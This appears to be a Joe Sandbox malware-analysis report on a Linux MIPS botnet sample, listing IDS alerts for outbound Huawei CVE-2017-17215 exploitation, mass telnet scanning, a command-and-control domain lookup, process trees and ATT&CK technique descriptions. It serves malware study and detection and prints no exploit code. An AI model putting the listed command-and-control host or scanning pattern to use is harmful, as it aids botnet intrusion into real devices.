192.168.2.23156.244.124.4735554372152835222 08/06/22-07:23:39.639516	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35554	37215	192.168.2.23	156.244.124.47
192.168.2.23156.245.59.24755638372152835222 08/06/22-07:23:40.240392	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55638	37215	192.168.2.23	156.245.59.247
192.168.2.23197.246.131.1855182372152835222 08/06/22-07:23:50.863914	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55182	37215	192.168.2.23	197.246.131.18
192.168.2.23156.250.116.15154632372152835222 08/06/22-07:23:53.717828	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54632	37215	192.168.2.23	156.250.116.151

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 6, 2022 07:23:14.089762926 CEST	18417	2323	192.168.2.23	207.252.119.90
Aug 6, 2022 07:23:14.090177059 CEST	18417	23	192.168.2.23	185.173.101.90
Aug 6, 2022 07:23:14.090369940 CEST	18417	23	192.168.2.23	202.82.63.247
Aug 6, 2022 07:23:14.090595961 CEST	18417	23	192.168.2.23	150.43.215.17
Aug 6, 2022 07:23:14.090653896 CEST	18417	23	192.168.2.23	152.181.192.144
Aug 6, 2022 07:23:14.090692043 CEST	18417	23	192.168.2.23	87.114.3.184
Aug 6, 2022 07:23:14.090703011 CEST	18417	23	192.168.2.23	103.200.189.167
Aug 6, 2022 07:23:14.090704918 CEST	18417	23	192.168.2.23	60.46.27.53
Aug 6, 2022 07:23:14.090728998 CEST	18417	23	192.168.2.23	19.68.53.196
Aug 6, 2022 07:23:14.090759993 CEST	18417	23	192.168.2.23	177.125.246.188
Aug 6, 2022 07:23:14.090765953 CEST	18417	23	192.168.2.23	13.251.239.198
Aug 6, 2022 07:23:14.090778112 CEST	18417	23	192.168.2.23	202.117.172.4
Aug 6, 2022 07:23:14.090779066 CEST	18417	23	192.168.2.23	189.248.42.110
Aug 6, 2022 07:23:14.090790987 CEST	18417	2323	192.168.2.23	218.107.77.22
Aug 6, 2022 07:23:14.090812922 CEST	18417	23	192.168.2.23	185.79.180.102
Aug 6, 2022 07:23:14.090817928 CEST	18417	23	192.168.2.23	144.4.169.40
Aug 6, 2022 07:23:14.090826988 CEST	18417	23	192.168.2.23	136.7.16.228
Aug 6, 2022 07:23:14.090826988 CEST	18417	23	192.168.2.23	44.205.164.106
Aug 6, 2022 07:23:14.090861082 CEST	18417	23	192.168.2.23	82.29.112.128
Aug 6, 2022 07:23:14.090884924 CEST	18417	23	192.168.2.23	126.214.20.158
Aug 6, 2022 07:23:14.090915918 CEST	18417	23	192.168.2.23	129.9.66.121
Aug 6, 2022 07:23:14.090960026 CEST	18417	23	192.168.2.23	37.208.36.254
Aug 6, 2022 07:23:14.090975046 CEST	18417	23	192.168.2.23	96.185.65.31
Aug 6, 2022 07:23:14.090981960 CEST	18417	2323	192.168.2.23	198.195.34.172
Aug 6, 2022 07:23:14.090987921 CEST	18417	23	192.168.2.23	99.102.114.189
Aug 6, 2022 07:23:14.090991020 CEST	18417	23	192.168.2.23	74.172.149.141
Aug 6, 2022 07:23:14.091013908 CEST	18417	23	192.168.2.23	177.89.99.15
Aug 6, 2022 07:23:14.091042995 CEST	18417	23	192.168.2.23	130.211.221.133
Aug 6, 2022 07:23:14.091068983 CEST	18417	23	192.168.2.23	12.140.112.74
Aug 6, 2022 07:23:14.091084003 CEST	18417	23	192.168.2.23	203.69.110.132
Aug 6, 2022 07:23:14.091084957 CEST	18417	2323	192.168.2.23	193.231.72.213
Aug 6, 2022 07:23:14.091097116 CEST	18417	23	192.168.2.23	92.89.92.179
Aug 6, 2022 07:23:14.091126919 CEST	18417	23	192.168.2.23	152.115.34.15
Aug 6, 2022 07:23:14.091129065 CEST	18417	23	192.168.2.23	92.141.45.209
Aug 6, 2022 07:23:14.091131926 CEST	18417	23	192.168.2.23	78.15.110.113
Aug 6, 2022 07:23:14.091135979 CEST	18417	23	192.168.2.23	12.137.163.185
Aug 6, 2022 07:23:14.091140032 CEST	18417	23	192.168.2.23	86.237.200.136
Aug 6, 2022 07:23:14.091150999 CEST	18417	23	192.168.2.23	46.219.100.125
Aug 6, 2022 07:23:14.091160059 CEST	18417	23	192.168.2.23	84.22.221.159
Aug 6, 2022 07:23:14.091176987 CEST	18417	23	192.168.2.23	93.6.228.36
Aug 6, 2022 07:23:14.091236115 CEST	18417	2323	192.168.2.23	147.2.210.5
Aug 6, 2022 07:23:14.091238976 CEST	18417	23	192.168.2.23	173.5.28.206
Aug 6, 2022 07:23:14.091242075 CEST	18417	23	192.168.2.23	112.17.156.4
Aug 6, 2022 07:23:14.091249943 CEST	18417	23	192.168.2.23	53.22.148.208
Aug 6, 2022 07:23:14.091257095 CEST	18417	23	192.168.2.23	67.6.144.11
Aug 6, 2022 07:23:14.091267109 CEST	18417	23	192.168.2.23	208.150.134.60
Aug 6, 2022 07:23:14.091269970 CEST	18417	23	192.168.2.23	220.0.180.130
Aug 6, 2022 07:23:14.091274977 CEST	18417	23	192.168.2.23	221.247.208.250
Aug 6, 2022 07:23:14.091300964 CEST	18417	2323	192.168.2.23	105.215.113.116
Aug 6, 2022 07:23:14.091304064 CEST	18417	23	192.168.2.23	108.69.107.94
Aug 6, 2022 07:23:14.091310978 CEST	18417	23	192.168.2.23	194.94.215.241
Aug 6, 2022 07:23:14.091329098 CEST	18417	23	192.168.2.23	37.74.233.143
Aug 6, 2022 07:23:14.091341019 CEST	18417	23	192.168.2.23	18.135.58.117
Aug 6, 2022 07:23:14.091379881 CEST	18417	23	192.168.2.23	2.88.86.246
Aug 6, 2022 07:23:14.091424942 CEST	18417	23	192.168.2.23	192.159.105.8
Aug 6, 2022 07:23:14.091470957 CEST	18417	23	192.168.2.23	151.129.46.218
Aug 6, 2022 07:23:14.091531992 CEST	18417	23	192.168.2.23	106.5.103.241
Aug 6, 2022 07:23:14.091536045 CEST	18417	23	192.168.2.23	81.201.248.233
Aug 6, 2022 07:23:14.091553926 CEST	18417	23	192.168.2.23	65.185.0.53
Aug 6, 2022 07:23:14.091567039 CEST	18417	23	192.168.2.23	58.160.216.251
Aug 6, 2022 07:23:14.091573954 CEST	18417	2323	192.168.2.23	222.116.137.26
Aug 6, 2022 07:23:14.091602087 CEST	18417	23	192.168.2.23	177.147.152.218
Aug 6, 2022 07:23:14.091610909 CEST	18417	23	192.168.2.23	12.40.29.7
Aug 6, 2022 07:23:14.091614962 CEST	18417	23	192.168.2.23	196.41.177.148
Aug 6, 2022 07:23:14.091617107 CEST	18417	23	192.168.2.23	211.4.116.57
Aug 6, 2022 07:23:14.091619015 CEST	18417	23	192.168.2.23	124.74.163.159
Aug 6, 2022 07:23:14.091689110 CEST	18417	23	192.168.2.23	162.95.44.8
Aug 6, 2022 07:23:14.091720104 CEST	18417	23	192.168.2.23	48.110.12.148
Aug 6, 2022 07:23:14.091741085 CEST	18417	23	192.168.2.23	32.86.112.13
Aug 6, 2022 07:23:14.091743946 CEST	18417	23	192.168.2.23	115.181.116.187
Aug 6, 2022 07:23:14.091752052 CEST	18417	2323	192.168.2.23	112.52.188.89
Aug 6, 2022 07:23:14.091799021 CEST	18417	23	192.168.2.23	172.137.83.83
Aug 6, 2022 07:23:14.091825008 CEST	18417	23	192.168.2.23	42.249.209.96
Aug 6, 2022 07:23:14.091850996 CEST	18417	23	192.168.2.23	96.176.240.19
Aug 6, 2022 07:23:14.091888905 CEST	18417	23	192.168.2.23	187.227.53.254
Aug 6, 2022 07:23:14.091895103 CEST	18417	23	192.168.2.23	98.221.94.223
Aug 6, 2022 07:23:14.091912031 CEST	18417	23	192.168.2.23	91.203.208.120
Aug 6, 2022 07:23:14.091916084 CEST	18417	23	192.168.2.23	157.234.14.173
Aug 6, 2022 07:23:14.091918945 CEST	18417	23	192.168.2.23	221.221.197.24
Aug 6, 2022 07:23:14.091923952 CEST	18417	23	192.168.2.23	37.219.251.192
Aug 6, 2022 07:23:14.091928005 CEST	18417	23	192.168.2.23	211.44.215.227
Aug 6, 2022 07:23:14.091933012 CEST	18417	2323	192.168.2.23	48.27.55.237
Aug 6, 2022 07:23:14.091947079 CEST	18417	23	192.168.2.23	189.46.38.253
Aug 6, 2022 07:23:14.091948032 CEST	18417	23	192.168.2.23	88.182.106.126
Aug 6, 2022 07:23:14.091979027 CEST	18417	23	192.168.2.23	90.70.186.0
Aug 6, 2022 07:23:14.092011929 CEST	18417	23	192.168.2.23	167.245.133.26
Aug 6, 2022 07:23:14.092011929 CEST	18417	23	192.168.2.23	20.220.196.103
Aug 6, 2022 07:23:14.092017889 CEST	18417	23	192.168.2.23	193.112.151.48
Aug 6, 2022 07:23:14.092040062 CEST	18417	23	192.168.2.23	157.70.136.134
Aug 6, 2022 07:23:14.092041969 CEST	18417	23	192.168.2.23	83.188.210.130
Aug 6, 2022 07:23:14.092050076 CEST	18417	2323	192.168.2.23	219.212.221.25
Aug 6, 2022 07:23:14.092065096 CEST	18417	23	192.168.2.23	187.237.104.3
Aug 6, 2022 07:23:14.092075109 CEST	18417	23	192.168.2.23	213.42.146.114
Aug 6, 2022 07:23:14.092138052 CEST	18417	23	192.168.2.23	92.118.45.78
Aug 6, 2022 07:23:14.092139006 CEST	18417	23	192.168.2.23	5.58.1.151
Aug 6, 2022 07:23:14.092149019 CEST	18417	23	192.168.2.23	172.78.176.242
Aug 6, 2022 07:23:14.092150927 CEST	18417	23	192.168.2.23	65.165.50.191
Aug 6, 2022 07:23:14.092214108 CEST	18417	23	192.168.2.23	199.38.38.18
Aug 6, 2022 07:23:14.092215061 CEST	18417	23	192.168.2.23	162.42.234.88
Aug 6, 2022 07:23:14.092222929 CEST	18417	23	192.168.2.23	57.234.75.135

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 6, 2022 07:23:14.095323086 CEST	192.168.2.23	8.8.8.8	0xa787	Standard query (0)	cnc.fearfulcats.tk	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Aug 6, 2022 07:23:14.113378048 CEST	8.8.8.8	192.168.2.23	0xa787	No error (0)	cnc.fearfulcats.tk		185.225.73.158	A (IP address)	IN (0x0001)

System Behavior

Analysis Process: notabotnet.mips PID: 6226, Parent PID: 6121

General

Start time:	07:23:13
Start date:	06/08/2022
Path:	/tmp/notabotnet.mips
Arguments:	/tmp/notabotnet.mips
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Analysis Process: notabotnet.mips PID: 6228, Parent PID: 6226

General

Start time:	07:23:13
Start date:	06/08/2022
Path:	/tmp/notabotnet.mips
Arguments:	n/a
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Analysis Process: notabotnet.mips PID: 6229, Parent PID: 6226

General

Start time:	07:23:13
Start date:	06/08/2022
Path:	/tmp/notabotnet.mips
Arguments:	n/a
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Analysis Process: notabotnet.mips PID: 6232, Parent PID: 6229

General

Start time:	07:23:13
Start date:	06/08/2022
Path:	/tmp/notabotnet.mips
Arguments:	n/a
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Analysis Process: notabotnet.mips PID: 6233, Parent PID: 6229

General

Start time:	07:23:13
Start date:	06/08/2022
Path:	/tmp/notabotnet.mips
Arguments:	n/a
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Analysis Process: notabotnet.mips PID: 6235, Parent PID: 6229

General

Start time:	07:23:13
Start date:	06/08/2022
Path:	/tmp/notabotnet.mips
Arguments:	n/a
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Analysis Process: notabotnet.mips PID: 6239, Parent PID: 6229

General

Start time:	07:23:13
Start date:	06/08/2022
Path:	/tmp/notabotnet.mips
Arguments:	n/a
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Analysis Process: notabotnet.mips PID: 6241, Parent PID: 6229

General

Start time:	07:23:13
Start date:	06/08/2022
Path:	/tmp/notabotnet.mips
Arguments:	n/a
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Source: notabotnet.mips	Virustotal: Detection: 62%	Perma Link
Source: notabotnet.mips	Metadefender: Detection: 42%	Perma Link
Source: notabotnet.mips	ReversingLabs: Detection: 73%

Source: Traffic	Snort IDS: 2012811 ET DNS Query to a .tk domain - Likely Hostile 192.168.2.23:49581 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52826 -> 156.226.90.218:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50752 -> 156.250.74.27:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41654 -> 156.250.119.160:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49938 -> 156.250.122.40:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49098 -> 156.250.79.6:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53300 -> 156.250.113.198:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52904 -> 156.244.119.22:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52534 -> 156.230.20.31:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42572 -> 156.238.63.45:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47596 -> 156.226.103.26:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41742 -> 156.254.48.52:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44510 -> 156.241.66.242:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45444 -> 156.244.109.94:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42192 -> 197.234.61.235:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36870 -> 156.250.115.61:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54440 -> 156.241.91.214:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35010 -> 156.226.98.226:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58838 -> 156.235.97.94:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36340 -> 156.241.133.165:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59200 -> 156.244.80.94:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35554 -> 156.244.124.47:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60668 -> 156.245.34.63:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42742 -> 156.241.90.38:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50694 -> 156.245.51.25:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47718 -> 156.226.96.33:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55638 -> 156.245.59.247:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38646 -> 156.250.92.165:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37424 -> 156.235.102.132:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34606 -> 156.235.96.124:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52072 -> 156.226.11.15:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55182 -> 197.246.131.18:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41802 -> 156.250.65.100:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47196 -> 156.244.72.40:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59142 -> 156.226.84.107:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60120 -> 156.226.90.241:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55416 -> 156.241.125.36:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50850 -> 156.224.20.130:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50728 -> 197.214.103.132:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54632 -> 156.250.116.151:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50598 -> 156.250.18.224:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51288 -> 156.226.82.58:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54676 -> 156.244.110.224:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60786 -> 156.224.13.140:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53116 -> 156.254.79.89:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44052 -> 156.250.103.88:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37962 -> 156.250.9.158:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53560 -> 156.245.55.200:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33306 -> 156.224.11.12:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33390 -> 156.226.27.134:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50298 -> 156.224.29.157:37215

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: unknown	TCP traffic detected without corresponding DNS query: 207.252.119.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.173.101.90
Source: unknown	TCP traffic detected without corresponding DNS query: 202.82.63.247
Source: unknown	TCP traffic detected without corresponding DNS query: 150.43.215.17
Source: unknown	TCP traffic detected without corresponding DNS query: 152.181.192.144
Source: unknown	TCP traffic detected without corresponding DNS query: 87.114.3.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.200.189.167
Source: unknown	TCP traffic detected without corresponding DNS query: 60.46.27.53
Source: unknown	TCP traffic detected without corresponding DNS query: 19.68.53.196
Source: unknown	TCP traffic detected without corresponding DNS query: 177.125.246.188
Source: unknown	TCP traffic detected without corresponding DNS query: 13.251.239.198
Source: unknown	TCP traffic detected without corresponding DNS query: 202.117.172.4
Source: unknown	TCP traffic detected without corresponding DNS query: 189.248.42.110
Source: unknown	TCP traffic detected without corresponding DNS query: 218.107.77.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.79.180.102
Source: unknown	TCP traffic detected without corresponding DNS query: 144.4.169.40
Source: unknown	TCP traffic detected without corresponding DNS query: 136.7.16.228
Source: unknown	TCP traffic detected without corresponding DNS query: 44.205.164.106
Source: unknown	TCP traffic detected without corresponding DNS query: 82.29.112.128
Source: unknown	TCP traffic detected without corresponding DNS query: 126.214.20.158
Source: unknown	TCP traffic detected without corresponding DNS query: 129.9.66.121
Source: unknown	TCP traffic detected without corresponding DNS query: 37.208.36.254
Source: unknown	TCP traffic detected without corresponding DNS query: 96.185.65.31
Source: unknown	TCP traffic detected without corresponding DNS query: 198.195.34.172
Source: unknown	TCP traffic detected without corresponding DNS query: 99.102.114.189
Source: unknown	TCP traffic detected without corresponding DNS query: 74.172.149.141
Source: unknown	TCP traffic detected without corresponding DNS query: 177.89.99.15
Source: unknown	TCP traffic detected without corresponding DNS query: 130.211.221.133
Source: unknown	TCP traffic detected without corresponding DNS query: 12.140.112.74
Source: unknown	TCP traffic detected without corresponding DNS query: 193.231.72.213
Source: unknown	TCP traffic detected without corresponding DNS query: 92.89.92.179
Source: unknown	TCP traffic detected without corresponding DNS query: 152.115.34.15
Source: unknown	TCP traffic detected without corresponding DNS query: 92.141.45.209
Source: unknown	TCP traffic detected without corresponding DNS query: 12.137.163.185
Source: unknown	TCP traffic detected without corresponding DNS query: 86.237.200.136
Source: unknown	TCP traffic detected without corresponding DNS query: 46.219.100.125
Source: unknown	TCP traffic detected without corresponding DNS query: 84.22.221.159
Source: unknown	TCP traffic detected without corresponding DNS query: 93.6.228.36
Source: unknown	TCP traffic detected without corresponding DNS query: 173.5.28.206
Source: unknown	TCP traffic detected without corresponding DNS query: 112.17.156.4
Source: unknown	TCP traffic detected without corresponding DNS query: 53.22.148.208
Source: unknown	TCP traffic detected without corresponding DNS query: 67.6.144.11
Source: unknown	TCP traffic detected without corresponding DNS query: 208.150.134.60
Source: unknown	TCP traffic detected without corresponding DNS query: 220.0.180.130
Source: unknown	TCP traffic detected without corresponding DNS query: 221.247.208.250
Source: unknown	TCP traffic detected without corresponding DNS query: 105.215.113.116
Source: unknown	TCP traffic detected without corresponding DNS query: 108.69.107.94
Source: unknown	TCP traffic detected without corresponding DNS query: 194.94.215.241
Source: unknown	TCP traffic detected without corresponding DNS query: 37.74.233.143
Source: unknown	TCP traffic detected without corresponding DNS query: 18.135.58.117

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report notabotnet.mips

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: notabotnet.mips PID: 6226, Parent PID: 6121

General

Analysis Process: notabotnet.mips PID: 6228, Parent PID: 6226

General

Analysis Process: notabotnet.mips PID: 6229, Parent PID: 6226

General

Analysis Process: notabotnet.mips PID: 6232, Parent PID: 6229

General

Analysis Process: notabotnet.mips PID: 6233, Parent PID: 6229

General

Analysis Process: notabotnet.mips PID: 6235, Parent PID: 6229

General

Analysis Process: notabotnet.mips PID: 6239, Parent PID: 6229

General

Analysis Process: notabotnet.mips PID: 6241, Parent PID: 6229

Linux Analysis Report
notabotnet.mips